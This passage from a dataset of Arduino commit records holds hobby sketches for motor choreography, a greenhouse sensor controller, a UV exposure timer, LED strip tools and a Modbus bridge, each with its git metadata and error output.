LOW);\n Serial.println(\"mando scena p\");\n Serial.println(act);\n inviatop = true;\n }\n if ((long)(millis() - t0) > (long)(magg(att1, att2) + pausa)) {\n inviatop = false;\n inviatoG = false;\n t0 = millis();\n\n act++;\n }\n }\n}\n\nvoid show_uno() {\n\n \/\/intro\n attore(1, 'g', 2000, -180, -180, 160, 'p', 2000, -150, 180, 8000); \/\/def\n attore(2, 'g', 2000, 0, -180, -160, 'p', 2500, 150, -180, 8000); \/\/def\n attore(3, 'g', 2000, 0, 80, 110, 'p', 3400, -130, 180, 8000); \/\/def\n attore(4, 'g', 3000, 180, -250, -110, 'p', 1800, 130, -180, 8000); \/\/def\n\n \/\/dance\n attore(5, 'g', 4000, -640, 300, -720, 'p', 3000, 540, -540, 15000); \/\/def\n attore(6, 'g', 4000, 110, -310, -190, 'p', 3000, -360, 360, 6000); \/\/def\n\n \/\/outro\n attore(7, 'g', 2000, 160, 170, 180, 'p', 1500, 175, -170, 6000); \/\/def\n\n}\n\nvoid show_due() {\n\n \/\/intro\n attore(1, 'g', 2000, -180, -180, 180, 'p', 2000, -150, 180, 8000); \/\/def\n attore(2, 'g', 2000, 0, -180, -180, 'p', 2500, 150, -180, 8000); \/\/def\n attore(3, 'g', 2000, 0, 80, 110, 'p', 3400, -130, 180, 8000); \/\/def\n attore(4, 'g', 3000, 180, -250, -110, 'p', 1800, 130, -180, 5000); \/\/def\n\n \/\/dance\n attore(5, 'g', 4000, -640, 300, -720, 'p', 2800, 540, -540, 13000); \/\/def\n attore(6, 'g', 4000, 110, -310, -190, 'p', 3000, -360, 360, 6000); \/\/def\n\n \/\/outro\n attore(7, 'g', 2000, 160, 170, 180, 'p', 1500, 175, -170, 6000); \/\/def\n\n}\n\nvoid show_tre() {\n\n \/\/intro\n attore(1, 'g', 2000, -180, -180, 180, 'p', 2000, -150, 180, 8000); \/\/def\n attore(2, 'g', 2000, 0, -180, -180, 'p', 2500, 150, -180, 8000); \/\/def\n attore(3, 'g', 2000, 0, 80, 110, 'p', 3400, -130, 180, 8000); \/\/def\n attore(4, 'g', 3000, 180, -250, -110, 'p', 1800, 130, -180, 8000); \/\/def\n\n \/\/dance\n attore(5, 'g', 4000, -640, 300, -720, 'p', 3000, 540, -540, 15000); \/\/def\n attore(6, 'g', 4000, 110, -310, -190, 'p', 3000, -360, 360, 6000); \/\/def\n\n \/\/outro\n attore(7, 'g', 2000, 160, 170, 180, 'p', 1500, 175, -170, 6000); \/\/def\n\n}\n\n\nlong magg(long a, long b) {\n if (a >= b) {\n return a;\n }\n else {\n return b;\n }\n}\n\nlong muovi(char let, int vel, int posA, int posB, int posC = 0) {\n String payload = \"\";\n\n if (let == 'p') {\n char LET = 'P';\n payload = \"\";\n payload += LET;\n payload += \" \";\n payload += String(vel);\n payload += '\\r';\n Serial2.print(payload);\n payload = \"\";\n payload += let;\n payload += \" \";\n payload += String(posA);\n payload += \" \";\n payload += String(posB);\n payload += '\\r';\n Serial2.print(payload);\n }\n else if (let == 'g') {\n char LET = 'G';\n payload = \"\";\n payload += LET;\n payload += \" \";\n payload += String(vel);\n payload += '\\r';\n Serial2.print(payload);\n payload = \"\";\n payload += let;\n payload += \" \";\n payload += String(posA);\n payload += \" \";\n payload += String(posB);\n payload += \" \";\n payload += String(posC);\n payload += '\\r';\n Serial2.print(payload);\n }\n\n int maxx = 0;\n if (abs(posA) >= abs(posB)) {\n if (abs(posA) >= abs(posC)) {\n maxx = abs(posA);\n }\n else {\n maxx = abs(posC);\n }\n }\n else {\n if (abs(posB) >= abs(posC)) {\n maxx = abs(posB);\n }\n else {\n maxx = abs(posC);\n }\n }\n\n return (long)(((maxx * 100800 \/ 360) \/ vel) * 1000);\n}\n\nvoid checkButton() {\n if ((digitalRead(SEL_A) == 0) && (digitalRead(SEL_B) == 1)) \/\/A\n {\n if (digitalRead(BT_A) == 0) \/\/premuto\n {\n if (digitalRead(SEL_Gp)) \/\/1 \u00e8 piccolo\n {\n Serial.println(\"motore A orario\");\n muovi('p', vel_passetti, passetto, 0);\n }\n else\n {\n Serial.println(\"motore C orario\");\n muovi('g', vel_passetti, passetto,0);\n }\n delay(1000);\n }\n else if (digitalRead(BT_B) == 1) \/\/premuto\n {\n if (digitalRead(SEL_Gp)) \/\/1 \u00e8 piccolo\n {\n Serial.println(\"motore A antiorario\");\n muovi('p', vel_passetti, -passetto, 0);\n }\n else\n {\n Serial.println(\"motore C antiorario\");\n muovi('g',vel_passetti,-passetto, 0, 0);\n }\n delay(1000);\n }\n }\n else if ((digitalRead(SEL_A) == 1) && (digitalRead(SEL_B) == 1)) \/\/B\n {\n if (digitalRead(BT_A) == 0) \/\/premuto\n {\n if (digitalRead(SEL_Gp)) \/\/1 \u00e8 piccolo\n {\n Serial.println(\"motore B orario\");\n muovi('p',vel_passetti,0, passetto);\n }\n else\n {\n Serial.println(\"motore D orario\");\n muovi('g',vel_passetti,0, passetto, 0);\n }\n delay(1000);\n }\n else if (digitalRead(BT_B) == 1) \/\/premuto\n {\n if (digitalRead(SEL_Gp)) \/\/1 \u00e8 piccolo\n {\n Serial.println(\"motore B antiorario\");\n muovi('p',vel_passetti,0, -passetto);\n }\n else\n {\n Serial.println(\"motore D antiorario\");\n muovi('g',vel_passetti,0, -passetto, 0);\n }\n\n delay(1000);\n }\n }\n else if ((digitalRead(SEL_A) == 1) && (digitalRead(SEL_B) == 0)) \/\/C\n {\n if (digitalRead(BT_A) == 0) \/\/premuto\n {\n if (digitalRead(SEL_Gp)) \/\/1 \u00e8 piccolo\n {\n Serial.println(\"motore inesistente\");\n }\n else\n {\n Serial.println(\"motore E orario\");\n muovi('g',vel_passetti,0, 0, passetto);\n }\n delay(1000);\n }\n else if (digitalRead(BT_B) == 1) \/\/premuto\n {\n if (digitalRead(SEL_Gp)) \/\/1 \u00e8 piccolo\n {\n Serial.println(\"motore inesistente\");\n }\n else\n {\n Serial.println(\"motore E antiorario\");\n muovi('g',vel_passetti,0, 0, -passetto);\n }\n delay(1000);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'coni\/arduino\/test\/remote\/last.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"5bda9ef98f18160bc0d4274a2ef5a87e88229d0f","subject":"Codice Arduino del progetto Smart Green House. Il sistema legge i dati riferiti all'impianto(altezza pianta, umidit\u00e0 terreno, temperatura ed umidit\u00e0 dell'aria, luminosit\u00e0 ambientale), abilita tre controlli diversi sulle sucite digitali per abilitare\/disabilitare l'irrigazione, illuminazione ultravioletta e il sistema di riscaldamento e trasmette di dati contenenti lo stato dell'impianto via modulo Bluetooth.","message":"Codice Arduino del progetto Smart Green House. Il sistema legge i dati riferiti all'impianto(altezza pianta, umidit\u00e0 terreno, temperatura ed umidit\u00e0 dell'aria, luminosit\u00e0 ambientale), abilita tre controlli diversi sulle sucite digitali per abilitare\/disabilitare l'irrigazione, illuminazione ultravioletta e il sistema di riscaldamento e trasmette di dati contenenti lo stato dell'impianto via modulo Bluetooth.\n","repos":"pasoppido87\/Smart_Green_House","old_file":"SGH_codiceControlliDigitali.ino","new_file":"SGH_codiceControlliDigitali.ino","new_contents":"\n\/*\nCopyright 2016 Marzucco Angelo\nCopyright 2016 Russo Andrea\nCopyright 2016 Oppido Pasquale\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\/\/Progetto Smart Green House(Arduino Code)\n\/\/Il sistema colleziona i dati raccolti all'interno della serricoltura del basilico quali:\n\/\/1)ALTEZZA DELLA PIANTA da terra(istallazione del trasduttore di distanza a tempo di volo a 30 cm dal punto dove sono stati impiantati i semi);\n\/\/2)TEMPERATURA ED UMIDIT\u00e0 DELL'ARIA(mediante un unico modulo, DHT, il quale comunica digitalmente con Arduino);\n\/\/3)UMIDIT\u00e0 DEL TERRENO(tramite un trasduttore connesso ad una particolare sonda in grado di rilevare il tasso di umidit\u00e0);\n\/\/4)LUMINOSIT\u00e0(resistore LDR, il quale cambia valore assumendo resistenze dell'ordine dei MOhm al buoio o centinaia di Ohm in condizioni di piena luminosit\u00e0).\n\n\/\/Prelevati i medesimi, lo stesso \u00e8 in grado di abilitare:\n\/\/1)IRRIGAZIONE TERRENO, nelle ore fresche(luminosit\u00e0 bassa) e se il terreno scende sotto una determinata soglia di umidit\u00e0(35% nel caso);\n\/\/2)ATTIVAZIONE LAMPADE UV, quando la luminosit\u00e0 decresce mediante un controllo ad isteresi su tale parametro;\n\/\/3)ATTIVAZIONE VENTOLA DI RISCALDAMENTO, se la temperatura scende sotto la soglia dei 18 gradi(abilitazione pilotata da un controllo ad isteresi).\n\n\/\/Il sistema invia mediante protocollo seriale i dati raccolti dall'impianto ad un dispositivo Bluetooth vers. 2.0 ed i medesimi possono essere visualizzati su uno smartphone tramite apposita applicazione\n\n\/\/N.B. Ogni singola riga del codice \u00e8 stata commentata ai fini di aumentare la leggibilit\u00e0 del codice e di documentare lo stesso\n#include <DHT.h> \/\/libreria utile per controllare il sensore DHT per la lettura dell'umidit\u00e0 e la temperatura dell'ambiente\n#include <SoftwareSerial.h> \/\/libreria atta a creare una porta di comunicazione seriale virtuale differente da quella costituita su Arduino UNO dai pin 0 ed 1(seriale via USB)\n\n\/\/Definizione dei pin analogico\/digitali affidati alla lettura delle uscite prodotte dai sensori\n#define dhtPin A0 \/\/collego il sensore DHT al pin A0\n#define luxPin A1 \/\/collego il sensore di luminosit\u00e0 ambientale al pin A1\n#define humGPin A2 \/\/collego il sensore per monitorare l'umidit\u00e0 del terreno al pin A2\n#define echo 3 \/\/seleziono i pin interessati allo studio dell'altezza della pianta tramite HC-SR04\n#define trigger 2 \/\/traduttore di tistanza a tempo di volo\n\n\/\/Definizione dei pin digitali a cui sono affidati i controlli via arduino dell'impianto\n#define luce_UV 4 \/\/pin ON\/OFF luce ultravioletta notturna all'interno della serra\n#define riscalda_ven 5 \/\/attivazione riscaldamento al di sotto di una determinata temperatura\n#define raccolta 6 \/\/segnalamento possibilit\u00e0 di cimatura\/raccolta della pianta di basilico\n#define irriga 7 \/\/abilito un segnale che ci permette di irrigare il terreno in determinate condizioni climatiche(in funzione di umidit\u00e0 del terreno e della luminosit\u00e0)\n\n\/\/Definizione dei pin digitali affidati alla comunicazione seriale tramite Bluetooth(modulo HC-05)\n#define rx_pin 10 \/\/ingresso a cui collego il pin di trasmissione TX del modulo bluetooth\n#define tx_pin 11 \/\/uscita a cui collego il pin di ricezione dei dati RX del modulo bluetooth\n\n\/\/Definizione delle variabili globali del sistema\nint luce = 0; \/\/variabile in cui vado a scrivere il valore della luminosit\u00e0 ambientale\nint luce_analog = 0; \/\/variabile d'appoggio per la lettura analogica del valore della luminosit\u00e0\nint temp_aria = 0; \/\/\"temp_aria\" e \"umidi_aria\" mantengono i valori di temperatura ed umidit\u00e0 ambientale\nint umidi_aria = 0; \/\/tirati fuori dal modulino DHT (valori estrapolati sfruttando la libreria realizzata ad hoc)\nint umidi_terra = 0; \/\/variabile in cui vado a scrivere il valore dell'umidit\u00e0 percentuale del terreno\nint umi_ter_analog = 0; \/\/variabile di appoggio per acquisire il segnale analogico riferito all'umidit\u00e0 del terreno da poi adattare ad un valore percentuale(%)\nint durata = 0; \/\/variabile utile a calcolare la durata dell'impulso di eco nel trasduttore a tempo di volo\nint distanza = 0; \/\/variabile utilizzata al fine di convertire la durata dell'eco in una distanza\nint altezza = 0; \/\/variabile che immagazzina il valore dell'altezza della pianta.\n\nDHT dht(dhtPin,DHT11); \/\/creazione istanza di DHT al fine di leggere temperatura ed umidit\u00e0 dell'aria(passo il pin ed il tipo di DHT## utilizzato)\nSoftwareSerial bluetooth = SoftwareSerial(rx_pin,tx_pin); \/\/creo un istanza in grado di definire una porta seriale virtuale utile alla comunicazione bluetooth dei dati\n\nvoid setup() {\nSerial.begin(9600); \/\/abilito la porta seriale (COM#) per la lettura dei dati prodotti dal sistema(posso anche eliminare se non stampo i dati sul monitor seriale)\ndht.begin(); \/\/abilito la lettura dati mediante il modulo DHT\nbluetooth.begin(9600); \/\/abilito la comunicazione seriale virtuale, con baud 9600 bps, per interconnettermi al modulo bluetooth HC-05\npinMode(echo,INPUT); \/\/abilito I\/O del trasduttore a tempo di volo (echo = IN, trigger = OUT)\npinMode(trigger,OUTPUT); \n\n\/\/Imposto come output i pin digitali\npinMode(luce_UV,OUTPUT); \/\/uscita per abilitare l'illuminazione UV nella serra\npinMode(riscalda_ven, OUTPUT); \/\/uscita per abilitare la ventola con annesso sistema di riscaldamento nella serra\npinMode(raccolta,OUTPUT); \/\/uscita per lanciare un allert a favore della cimatura\/raccolta della pianta\npinMode(irriga,OUTPUT); \/\/uscita volta ad attivare il ssitema di irrigazione del terreno\ndigitalWrite(luce_UV,LOW);\ndigitalWrite(riscalda_ven,LOW);\ndigitalWrite(raccolta,LOW);\ndigitalWrite(irriga,LOW);\n}\n\nvoid loop() {\ntemp_humid_control();\nlight_control();\nhumidity_control();\nready_to_collect();\ninvio_BLUETOOTH(); \/\/abilito prima il trasferimento dei dati via bluetooth, poi li stampo sulla seriale(non necessario il SECONDO passaggio, OK ai fini del testing di unit\u00e0)\n\/\/serial_print();\ndelay(20000); \/\/controllo lo stato del sistema ogni 20 secondi(evito cos\u00ec possibili errori di trasmissione quando mi connetto tramite smartphone al sistema\n}\n\n\/\/Funzione in grado di acquisire l'umidit\u00e0 e la temperatura dell'aria andando a scrivere i valori nelle variabili globali\nvoid temp_humid_control(){\n temp_aria = dht.readTemperature(); \/\/acquisisco i valori di temperarura ed umidit\u00e0 dell'aria\n umidi_aria = dht.readHumidity(); \/\/scrivendoli nelle variabili globali\n \n \/\/Controllo temperatura della serra\n if(temp_aria < 18){\n digitalWrite(riscalda_ven,HIGH); \/\/attivazione sistema areazione-riscaldamento\n }\n else if(temp_aria >= 22){\n digitalWrite(riscalda_ven,LOW); \/\/disattivazione sistema areazione-riscaldamento\n }\n delay(100);\n}\n\n\/\/Funzione in grado di leggere il valore della luminosit\u00e0 ambientale andando a modificare il valore della vaiabile globale \"luce\"\nvoid light_control(){\n luce_analog = analogRead(luxPin); \/\/leggo dal pin analogico il valore restituito dal trasduttore di luminosit\u00e0\n luce = map(luce_analog, 0, 1023, 0, 100); \/\/rappresento tale valore su di una scala percentuale(da 0 a 100%)\n \n \/\/Controllo sull'accensione dell'illuminazione UV all'interno della serra (controllo ad ISTERESI: 1) attivo con luminosit\u00e0 < 40% 2) disattivo con luminosit\u00e0 >=42% (evito sfarfallii UV)\n if(luce < 40){\n digitalWrite(luce_UV,HIGH); \/\/attivo luce UV\n }\n else if(luce >= 42){\n digitalWrite(luce_UV,LOW); \/\/disattivo luce UV\n }\n delay(100);\n}\n\n\/\/funzione in grado di leggere il valore percentuale dell'umidit\u00e0 del terreno\nvoid humidity_control(){\n umi_ter_analog = analogRead(humGPin); \/\/acquisisco il valore analogico riferito all'umidit\u00e0 del terreno\n umidi_terra = map(umi_ter_analog, 0, 1023, 100, 0); \/\/trasformo il valore analogico, in base alla caratteristica del trasduttore, e lo porto in un range 0-100%\n \n \/\/Controllo irrigazione del terreno: la medesima viene attivata anche in funzione della luminosit\u00e0 ambientale(irrigazione nelle ore fresce della giornata)\n if((umidi_terra < 35)&&(luce < 45)){\n digitalWrite(irriga,HIGH); \/\/attiva l'irrigazione della serra\n }\n else if(umidi_terra > 60){\n digitalWrite(irriga,LOW); \/\/disattiva l'irrigazione della serra\n }\n delay(100);\n}\n\n\/\/Funzione in grado di calcolare l'altezza della pianta(distanza di istallazione dal suolo = 30 cm)\nvoid ready_to_collect(){\n digitalWrite( trigger, LOW ); \/\/invio un segnale alto per 10 ms e verifico quale sia il suo eco sulla porta di ritorno del medesimo\n digitalWrite( trigger, HIGH );\n delayMicroseconds( 10 );\n digitalWrite( trigger, LOW );\n durata = pulseIn( echo, HIGH ); \/\/calcolo mediante la funzione \"pulseIn\" la durata dell'impulso\n distanza = 0.034 * durata \/ 2; \/\/converto tale durata temporale in una distanza \n altezza = 30 - distanza; \/\/supponendo che il sensore si trovi al di sopra della pianta ed \u00e8 istallato ad una altezza di 30 cm, l'altezza della pianta stessa viene calcolata\n \/\/in maniera differenziale(30 cm sono una pura prova, potrebbe essere un'altezza maggiore o anche minore)\n\n \/\/Controllo raccolta\/cimatura del basilico\n if(altezza >=18){\n digitalWrite(raccolta,HIGH); \/\/abilito un LED di allerta per segnalare la possibilit\u00e0 di cimare\/raccogliere la pianta\n }\n else{\n digitalWrite(raccolta,LOW); \/\/altezza non sufficiente per la cimatura\/raccolta del basilico\n }\n delay(100);\n } \n\n\n\/\/Funzione per sintetizzare le varie primitive di stampa utilizzate all'interno del codice(stampo i miei dati sul monitor seriale in questo modo)\nvoid serial_print(){\n Serial.print(\"Air Temperature[*C]: \"); \n Serial.println(temp_aria);\n delay(500);\n Serial.print(\"Air Humidity[%]: \");\n Serial.println(umidi_aria);\n delay(500);\n Serial.print(\"Brightness[%]: \"); \n Serial.println(luce);\n delay(500);\n Serial.print(\"Ground Humidity[%]: \"); \n Serial.println(umidi_terra);\n delay(500);\n Serial.print(\"Plant Height[cm]: \"); \n Serial.println(altezza);\n delay(500);\n}\n\n\/\/Funzione in grado di trasmettere, tramite una comunicazione seriale, i dati del sistema via bluetooth ad un dispositvo esterno, quale ad esempio uno smartphone connesso al modulo HC-05\nvoid invio_BLUETOOTH(){\n bluetooth.println(temp_aria); \/\/trametto il valore della temperatura dell aria\n delay(100);\n bluetooth.println(umidi_aria); \/\/trasmetto il valore dell'umidit\u00e0 dell'aria\n delay(100);\n bluetooth.println(luce); \/\/trasmetto il valore della luminosit\u00e0 ambientale\n delay(100);\n bluetooth.println(umidi_terra); \/\/trasmetto il valore dell'umidit\u00e0 del terreno\n delay(100);\n bluetooth.println(altezza); \/\/trasmetto il valore dell'altezza della pianta\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SGH_codiceControlliDigitali.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"073e7801b0993c38c3641690c1ded696571f65b5","subject":"Add uvbox arduino sketch","message":"Add uvbox arduino sketch\n","repos":"gKouros\/my_arduino_sketches,gKouros\/my_arduino_sketches,gKouros\/my_arduino_sketches","old_file":"uvbox\/uvbox.ino","new_file":"uvbox\/uvbox.ino","new_contents":"\/* UV LED Exposure Box - Arduino Code\n * LCD + TIMER + UV LED matrix Control + \n * + Piezo Buzzer + INC,DEC,RESET time button \n *\/\n\/\/ libraries\n#include <LiquidCrystal.h>\n\n\/\/PIN definitions\n#define buzzerPin 9 \/\/PWM PIN D9\n#define incButton 2\n#define decButton 3\n#define basePin 8\n\n\/\/ Global Variables Declaration\nint seconds = 0;\n\/\/ RS,rw, E, D4, D5, D6, D7\nLiquidCrystal lcd(10, 7, 11, 12, 13, A0, A1);\n\nvoid setup() \n{\n noInterrupts();\n \/\/ setup IO pins\n pinMode(buzzerPin, OUTPUT); \n pinMode(basePin, OUTPUT);\n digitalWrite(basePin, LOW); \/\/ initialize base pin of transistor to 0V\n pinMode(incButton, INPUT);\n pinMode(decButton, INPUT);\n\n \/\/ initialize variables\n seconds = 0;\n\n \/\/Setup LCD\n lcd.begin(16,2);\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"UV Exposure Box\");\n lcd.setCursor(0,1);\n lcd.print(\"Time: 00:00\");\n\n \/\/ setup interrupts\n attachInterrupt(0, incTime, FALLING);\n attachInterrupt(1, decTime, FALLING);\n interrupts();\n}\n\nvoid loop() \n{\n if (seconds != 0){\n if (digitalRead(basePin) != HIGH) \n digitalWrite(basePin, HIGH); \n stopwatch();\n } \n}\n\nvoid stopwatch()\n{\n lcdPrint(seconds\/60, seconds%60);\n while (seconds>0){\n delay(1000);\n seconds = seconds - 1;\n lcdPrint(seconds\/60, seconds%60);\n }\n lcdPrint(0,0);\n seconds = 0;\n digitalWrite(basePin, LOW);\n beep(3);\n}\n\nvoid lcdPrint(int mins, int secs)\n{\n lcd.setCursor(6,1);\n int mins1 = abs(mins\/10);\n int mins0 = abs(mins%10);\n int secs1 = abs(secs\/10);\n int secs0 = abs(secs%10); \n lcd.print(String(mins1)+String(mins0)+\":\"+String(secs1)+String(secs0));\n}\n\nvoid beep(int beeps)\n{\n for (int i=0; i<beeps; i++){\n analogWrite(buzzerPin,100);\n delay(300);\n analogWrite(buzzerPin,0);\n delay(200);\n }\n}\n\nvoid incTime(){\n \/\/debounce interrupt\n while(digitalRead(incButton)==LOW);\n delay(20);\n while(true){\n if(digitalRead(incButton) == HIGH){ \/\/sw released\n delay(20);\n break;\n }\n }\n seconds += 30;\n seconds = seconds % 5940; \/\/ in case of 2-digit-minutes overflow\n \/\/ time_left = seconds\/60 [min] : seconds%60 [sec]\n}\n\nvoid decTime(){\n \/\/debounce interrupt\n while(digitalRead(decButton)==LOW);\n delay(20);\n while(true)\n {\n if(digitalRead(decButton) == HIGH) \/\/sw released\n { \n delay(20);\n break;\n }\n }\n if (seconds>30)\n seconds -= 30;\n else\n seconds = 0;\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'uvbox\/uvbox.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f8b0ac8c4f1359521b0f580e23586ce6eae57049","subject":"Adding \"measuring stick\" tool, for quickly measuring out 64-LED strips","message":"Adding \"measuring stick\" tool, for quickly measuring out 64-LED strips\n","repos":"poe\/fadecandy,adam-back\/fadecandy,lincomatic\/fadecandy,adam-back\/fadecandy,poe\/fadecandy,hakan42\/fadecandy,scanlime\/fadecandy,fragmede\/fadecandy,fragmede\/fadecandy,scanlime\/fadecandy,lincomatic\/fadecandy,nomis52\/fadecandy,PimentNoir\/fadecandy,hakan42\/fadecandy,jsestrich\/fadecandy,Protoneer\/fadecandy,Jorgen-VikingGod\/fadecandy,poe\/fadecandy,scanlime\/fadecandy,lincomatic\/fadecandy,nomis52\/fadecandy,Protoneer\/fadecandy,jsestrich\/fadecandy,nomis52\/fadecandy,fragmede\/fadecandy,piers7\/fadecandy,jsestrich\/fadecandy,PimentNoir\/fadecandy,lincomatic\/fadecandy,pixelmatix\/fadecandy,pixelmatix\/fadecandy,fragmede\/fadecandy,fragmede\/fadecandy,lincomatic\/fadecandy,poe\/fadecandy,PimentNoir\/fadecandy,PimentNoir\/fadecandy,poe\/fadecandy,piers7\/fadecandy,fragmede\/fadecandy,Jorgen-VikingGod\/fadecandy,pixelmatix\/fadecandy,piers7\/fadecandy,Protoneer\/fadecandy,hakan42\/fadecandy,poe\/fadecandy,Jorgen-VikingGod\/fadecandy,lincomatic\/fadecandy,piers7\/fadecandy,pixelmatix\/fadecandy,nomis52\/fadecandy,PimentNoir\/fadecandy,scanlime\/fadecandy,nomis52\/fadecandy,scanlime\/fadecandy,nomis52\/fadecandy,Protoneer\/fadecandy,poe\/fadecandy,Jorgen-VikingGod\/fadecandy,jsestrich\/fadecandy,scanlime\/fadecandy,hakan42\/fadecandy,fragmede\/fadecandy,lincomatic\/fadecandy,jsestrich\/fadecandy,fragmede\/fadecandy,lincomatic\/fadecandy,nomis52\/fadecandy,PimentNoir\/fadecandy,nomis52\/fadecandy,poe\/fadecandy,adam-back\/fadecandy,Protoneer\/fadecandy,Jorgen-VikingGod\/fadecandy,adam-back\/fadecandy,hakan42\/fadecandy,pixelmatix\/fadecandy,piers7\/fadecandy,adam-back\/fadecandy","old_file":"tools\/measuring_stick\/measuring_stick.ino","new_file":"tools\/measuring_stick\/measuring_stick.ino","new_contents":"\/*\n * Measuring Stick - a quick tool for measuring out 64-LED strips.\n *\n * This is a TeensyDuino sketch which lights the first 64 LEDs\n * on a strip. LEDs 0, 10, 20, 30, 40, 50, and 60 are green,\n * the others are dim white. The entire strip is kept dim enough\n * that this can be used as a battery-powered device that you can\n * plug into LED strips while you work with them.\n *\/\n\n #include <OctoWS2811.h>\n\nconst int ledsPerStrip = 128;\nDMAMEM int displayMemory[ledsPerStrip*6];\nint drawingMemory[ledsPerStrip*6];\n\nOctoWS2811 leds(ledsPerStrip, displayMemory, drawingMemory, WS2811_GRB | WS2811_800kHz);\n\nvoid setup() {\n\tleds.begin();\n\n\tfor (int i = 0; i < ledsPerStrip; ++i)\n\t\tleds.setPixel(i, 0x000000);\n\n\tfor (int i = 0; i < 64; ++i)\n\t\tleds.setPixel(i, 0x101010);\n\n\tfor (int i = 0; i < 64; i += 10)\n\t\tleds.setPixel(i, 0x104010);\n}\n\nvoid loop() {\n\tleds.show();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tools\/measuring_stick\/measuring_stick.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec13d5e2557a2415cd96a03f6b60de609d23147a","subject":"Update after change of Dovlo structure","message":"Update after change of Dovlo structure\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/MegaPi_Firmware\/MegaPi_Firmware.ino","new_file":"arduino\/MegaPi_Firmware\/MegaPi_Firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c0ed182aad287b4b86dac0b1e75a693a160a2ce8","subject":"housekeeping","message":"housekeeping\n","repos":"ductsoup\/Yun-ModbusTK-Example","old_file":"yun_modbus_example\/yun_modbus_example.ino","new_file":"yun_modbus_example\/yun_modbus_example.ino","new_contents":"#include <Bridge.h>\n\nProcess p;\n#define BUF_SIZE 32\nchar buf[BUF_SIZE];\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ Start the bridge\n Bridge.begin();\n \/\/ Start the modbus server\n p.begin(\"python\");\n p.addParameter(\"\/mnt\/sd\/modbus_tcp_slave.py\"); \/\/ modbus float holding registers\n p.addParameter(\"40001\"); \/\/ read only start address\n p.addParameter(\"6\"); \/\/ read only number of holding registers\n p.addParameter(\"40101\"); \/\/ read\/write start address (optional)\n p.addParameter(\"6\"); \/\/ read\/write number of holding registers (optional)\n p.runAsynchronously();\n}\nvoid loop() {\n \/\/ AVR -> WRT (modbus read only), write some values to the modbus server\n Bridge.put(\"40001\", String(PI));\n Bridge.put(\"40003\", String(millis()));\n Bridge.put(\"40005\", String(5280));\n\n \/\/ AVR <- WRT (modbus read\/write), read some values from the modbus server\n Bridge.get(\"40101\", buf, BUF_SIZE);\n Serial.println(atof(buf));\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'yun_modbus_example\/yun_modbus_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"574d6bc23d7e110f0749d035b04103f711b06a4b","subject":"redBoard","message":"redBoard\n","repos":"DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge","old_file":"redBoard\/YPOD_firmware\/YPOD_firmware.ino","new_file":"redBoard\/YPOD_firmware\/YPOD_firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DrewMeyersCUboulder\/UPOD_Bridge.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"879fc5a125e6ff82814349714ca0be627499d6c7","subject":"Added a test file for 30 different sound files. Using ` as the start of the ASCII character from serial.","message":"Added a test file for 30 different sound files. Using ` as the start of the ASCII character from serial.\n","repos":"cwalk\/CapacitiveTouchLamp,cwalk\/CapacitiveTouchLamp","old_file":"rand-test\/rand-test.ino","new_file":"rand-test\/rand-test.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 6\n#define NUM_LEDS 16\n#define BRIGHTNESS 10\n#define ledPin 13\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n strip.begin();\n strip.setBrightness(BRIGHTNESS);\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin(9600);\n}\n\nvoid loop() {\n\n if (Serial.available()) \n {\n int var = (Serial.read() - '`'); \/\/ convert the character '1'-'9' to decimal 1-9\n\n switch(var)\n {\n case 1:\n bidding();\n break;\n case 2:\n breath();\n break;\n case 3:\n darkside();\n break;\n case 4:\n DarthLsbr();\n break;\n case 5:\n dontfail();\n break;\n case 6:\n failed();\n break;\n case 7:\n father();\n break;\n case 8:\n haveyou();\n break;\n case 9:\n noescape();\n break;\n case 10:\n power();\n break;\n case 11:\n theforce();\n break;\n case 12:\n vader();\n break;\n case 13:\n waiting();\n break;\n case 14:\n imperial();\n break;\n case 15:\n impossible();\n break;\n case 16:\n LukeLsbr();\n break;\n case 17:\n yoda();\n break;\n case 18:\n disturb();\n break;\n case 